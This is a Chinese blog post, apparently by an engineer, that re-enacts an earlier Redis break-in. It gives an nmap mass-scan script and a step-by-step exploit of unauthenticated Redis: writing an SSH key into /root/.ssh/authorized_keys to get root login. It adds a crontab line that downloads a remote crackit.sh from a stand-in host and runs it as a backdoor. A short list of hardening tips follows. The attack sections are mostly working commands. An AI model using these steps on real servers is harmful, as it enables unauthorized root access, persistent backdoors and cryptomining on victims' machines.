【安全】一次完整的入侵提权实践+安全防御思考

引言:

前几天写的文章,有朋友说太难有人说实用性不强,不过之前定了那个主题,我还是会写完,开弓没有回头箭。写这篇文章是有自于4年前的一次服务器被入侵提权的思考,当时服务器被人提权当作矿机使用。后来经过好几个小时的折腾逆向了这个病毒脚本,并且摘除。中木马的原因是因为运维同学当时设置redis密码过于简单,而且一些安全防护没有设置,然后就被提权种马。

 

文章中涉及到的脚本:

https://github.com/Diamonds-ZhaoYu/hk_Intrusion/

入侵实践

【安全】一次完整的入侵提权实践+安全防御思考_第1张图片

上图是根据那次入侵我简单画的一个流程图,根据上图我们可以做一个深度思考。我们现实生活中所谓的安全,其实分为几个情况:系统漏洞、软件漏洞,人为因素影响等等。其实绝大部份的安全事件都是人为因为影响,这个和人的习惯有关系。比如说个人的密码,大家都喜欢用一些自己容易取记忆的,这种情况是很常见的,前段时间我就看到某某某技术大佬账户密码被爆库等等。

俗话说的好“预先利其事必先利其器”。我们既然要做这件事,就要知道怎么做。

开篇: 

【安全】一次完整的入侵提权实践+安全防御思考_第2张图片

入侵技术概述

 

工具篇

说到工具我们涉及到黑客的工具有很多,比如说:

1)nmap

网络端口扫描工具,是“Kali Linux”最受欢迎的信息收集工具。

 

2)fping

批量主机检测工具,可以进行IP端主机检测。

 

3)hping

hping是一个强大的命令行下使用的TCP/IP数据包组装/分析工具,其命令模式很像Unix下的ping命令,但是它不是只能发送ICMP回应请求,它还可以支持TCP、UDP、ICMP和RAW-IP协议,它有一个路由跟踪模式,能够在两个相互包含的通道之间传送文件。该工具可以模拟ddos攻击。

 

4)Social Engineering Toolkit (SET)

如果你需要渗透测试,这个是一个检查的最佳工具。

 

5)Nikto

这个是一款强大的web服务扫描工具,它会查到潜在的危险文件/程序,过时的服务器版本。

 

6)Snort

一款流量数据包分析记录工具。

 

7)John the Ripper

John the Ripper 是 Kali Linux 上流行的密码破解工具。

 

8)sqlmap

一款开源的渗透工具,它可以自动化利用SQL注入漏洞,并且接管数据库服务器。

 

9)Hydra

破解登录密码登陆工具, Kali Linux的预装工具。

 

以上都是一些比较实用的工具,不过我们今天的内容并不涉及那么多,我们关注一个工具就好,就是nmap。

nmap基础用法:

参数介绍:

-vv 设置堆结果详细输出

命令语法:namp -vv

例子:nmap -vv www.baidu.com

 

-p 设置端口检测范围,端口范围不能超过1 ~ 65535

命令语法:nmap -p(range)

例子: nmap -p1-80 -vv www.baidu.com

【安全】一次完整的入侵提权实践+安全防御思考_第3张图片

-F 一次快速扫描,仅扫描列在nmap-services文件中的端口而避开所有其它的端口

-sT 3次握手方式tcp的扫描

-n 从不执行DNS解析/总是解析[默认:有时]

-v 提高详细程度(使用-vv或更大的效果)

 

nmap功能特别强大,如果是感兴趣可以通过man nmap查看一下官方文档:

https://nmap.org/man/zh/

 

 

漏洞相关知识

 

我们要学习本章前,需要了解一些相关的漏洞知识。比如说一些常见的安全渗透端口。

如下所示:

名称

介绍

端口号

攻击方式

备注

FTP服务

ftp提供文件存储和访问服务

20、21、69

弱口令

爆破工具:Bruter

SSH服务

ssh提供linux/unix远程终端连接服务

22

弱口令、28退格漏洞、OpenSSL漏洞

 

Telnet服务

telnet是传输控制协议服务

23

弱口令

 

NFS服务

nfs网络文件服务系统

2049

未授权访问

 

Samba服务

提供文件共享服务

137、139

弱口令

爆破工具:hydra

LADP协议

轻量目录访问协议,企业中大量用到

389

弱口令

 

Windows远程服务

提供远程windows连接服务

3389

弱口令

爆破工具:ms12-020

VNC服务

远程控制工具服务

5901、5902

弱口令

 

Web应用服务

网站,API等访问服务

80、81、443、8080

渗透、SQL注入漏洞等

 

Redis数据库服务

开源的key/value数据库

6379

未授权访问、弱口令

 

Rsync服务

rsync提供服务器间的文件同步服务

873

未授权访问

 

 

其实网络中的漏洞远远只看到的这些,还有很多很多。

如果想了解一些漏洞信息,可以关注下国家信息安全漏洞共享平台:

https://www.cnvd.org.cn/

 

如果想通过漏洞赚钱,或者学习一些白帽知识可以关注下补天:

https://www.butian.net/

 

如果想看一些存在漏洞的服务器,可以看一下知道创宇的钟馗之眼:

https://www.zoomeye.org/

 

 

提权实践

本次我们文章开篇的那一次事情做一个完整的事件模拟,演练下整个被入侵的过程:

咱们如果把自己当成那个黑客同学,我们想入侵前要做的第一件事情就是找宿主。

 

扫描主机:

#nmap -p 6379 47.98.118.229

 【安全】一次完整的入侵提权实践+安全防御思考_第4张图片

扫描47.98.118.229主机是否存在redis服务;我们看到这个服务是打开redis服务的,当然在实际的扫描中并不是像我这样直接一个扫,都是大批量大批量的扫描。这样我们可以写一个脚本直接批量扫描;

#!/bin/bash
BASE_DIR=`pwd`
IPLIST=`cat ${BASE_DIR}/ip.txt`
LOG_DIR=${BASE_DIR}/logs
LOG_FILE=${LOG_DIR}/scan.log
if [ ! -d ${LOG_DIR} ];
then
   mkdir -p ${LOG_DIR}
fi

for ips in ${IPLIST}
do
    nmap -sT -v -n  $ips  >>${LOG_FILE}
done

 

ip.txt 文件

【安全】一次完整的入侵提权实践+安全防御思考_第5张图片

这个脚本很简单,它打开一个ip.txt文件,这个文件是一个IP段地址,然后通过nmap批量扫描,扫描后的结果我们存在scan.log文件中。

后续我们想拿到开放IP的结果直接可以linux命令grep自己过滤。

 

 

提权操作

我们根据以上的的扫描可以得到一些开放端口的主机,开放端口的主机可以扫描它们是否存在漏洞。拿到信息后我们就可以开始提权操作。这一块我先简单说一下,其实在我们redis中是存在一个很严重的提权漏洞,还有执行漏洞。当然很多软件也存在,比如说mysql等等。

redis这个数据有一个特性,就是持久化。持久化这个过程我们是可以通过命令去改变它的存储目录。我们来看一个简单的图:

【安全】一次完整的入侵提权实践+安全防御思考_第6张图片 

图中其实就是我们整个提权的过程。

直接提权:

把本机ssh公钥匙写入到user.txt文件

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > user.txt

连接redis通过set crackit写入user.txt文件

cat user.txt | redis-cli -h 47.98.118.229 -x set crackit

连接redis服务器

 #redis-cli -h 47.98.118.229

 

连接服务后可以查看我们写入到文件

 

 

设置redis持久化目录

47.98.118.229:6379> config set dir /root/.ssh/

【安全】一次完整的入侵提权实践+安全防御思考_第7张图片 

查看目录

47.98.118.229:6379> config get dir 

【安全】一次完整的入侵提权实践+安全防御思考_第8张图片 

设置文件名称authorized_keys,其实就是在root的ssh下设置一个authorized_keys,大家都知道authorized_keys是干嘛的吧?在authorized_keys文件中写入公钥的话,其实就等于免密登陆。

47.98.118.229:6379> config set dbfilename "authorized_keys"

 

保存数据

47.98.118.229:6379> save

来看看我们服务器上的/root/.ssh/authorized_keys 文件

【安全】一次完整的入侵提权实践+安全防御思考_第9张图片 

试试能否登陆。

【安全】一次完整的入侵提权实践+安全防御思考_第10张图片

轻松提权成功。

真实的场景中会有很多不可控因素,比如说没有root权限,这种咱们就可以用crontab写入进行提权,间接性写入免密登陆或者创建账户。

如果要实现这点,我们可以把user.txt文件存入:

 */1 * * * * (curl  -fsSLk --connect-timeout 26 --max-time 175  https://www.test.com/crackit.sh -o /usr/local/bin/npt ) && chmod +x /usr/local/bin/npt && sh /usr/local/bin/npt

然后把redis的持久化地址改为 /var/spool/下的at或者是cron目录,文件名根据用户名。这样的话crontab第一次拉取shell执行后,执行的shell加入一些后门。这样就可以做到我们开篇文章的提权思路。

crackit.sh 脚本我提供在github中。

 

防御措施:

1)不能使用root权限启动账号,启动账号设置为nologin

2)redis密码设置复杂一点

3)redis的redis.conf需要禁用掉高危命令:

rename-command FLUSHALL delflushall

rename-command CONFIG conf

以上 只是修改名称,你们可以随意。

 

 

 

安全防御思考

 

根据该次安全事件之后,我们得到一个思考。其实只要有网络,我们的信息都会直接和间接的被暴露出来。暴露出来,有可能是因为一些不小心,也有可能因为服务的漏洞,或者人为因素。

除了以上对服务漏洞的处理措施,我们可以在我们整理的应用中做一些安全考虑,比如说:

1)服务器网络的三层或者是二层,这样做到网络隔绝。如果要连接服务可以通过jumpserver或者是跳板机。

2)linux的一些安全策略,除了安全策略以外我们可以做自己的一些特征库,得知我们哪些文件被串改过。

可以通过:

find ./ -type f -print0 | xargs -0 md5sum

 命令生成一个md5特征库,如果主要文件被串改后,下一次生成的库两次做diff比较就可以知道。

3)加入一些反删除策略,比如说extundelete。避免被入侵后非法删除一些文件。

4)自身有良好的习惯,降低安全风险。比如说密码的随机更换,自己公钥匙不要乱放等等。

 

这个要说的话就比较多了,咱们本次的文章就先到这。要是有想了解更多的可以单独找我。

谢谢大家支持。

 

 

 

你可能感兴趣的:(安全)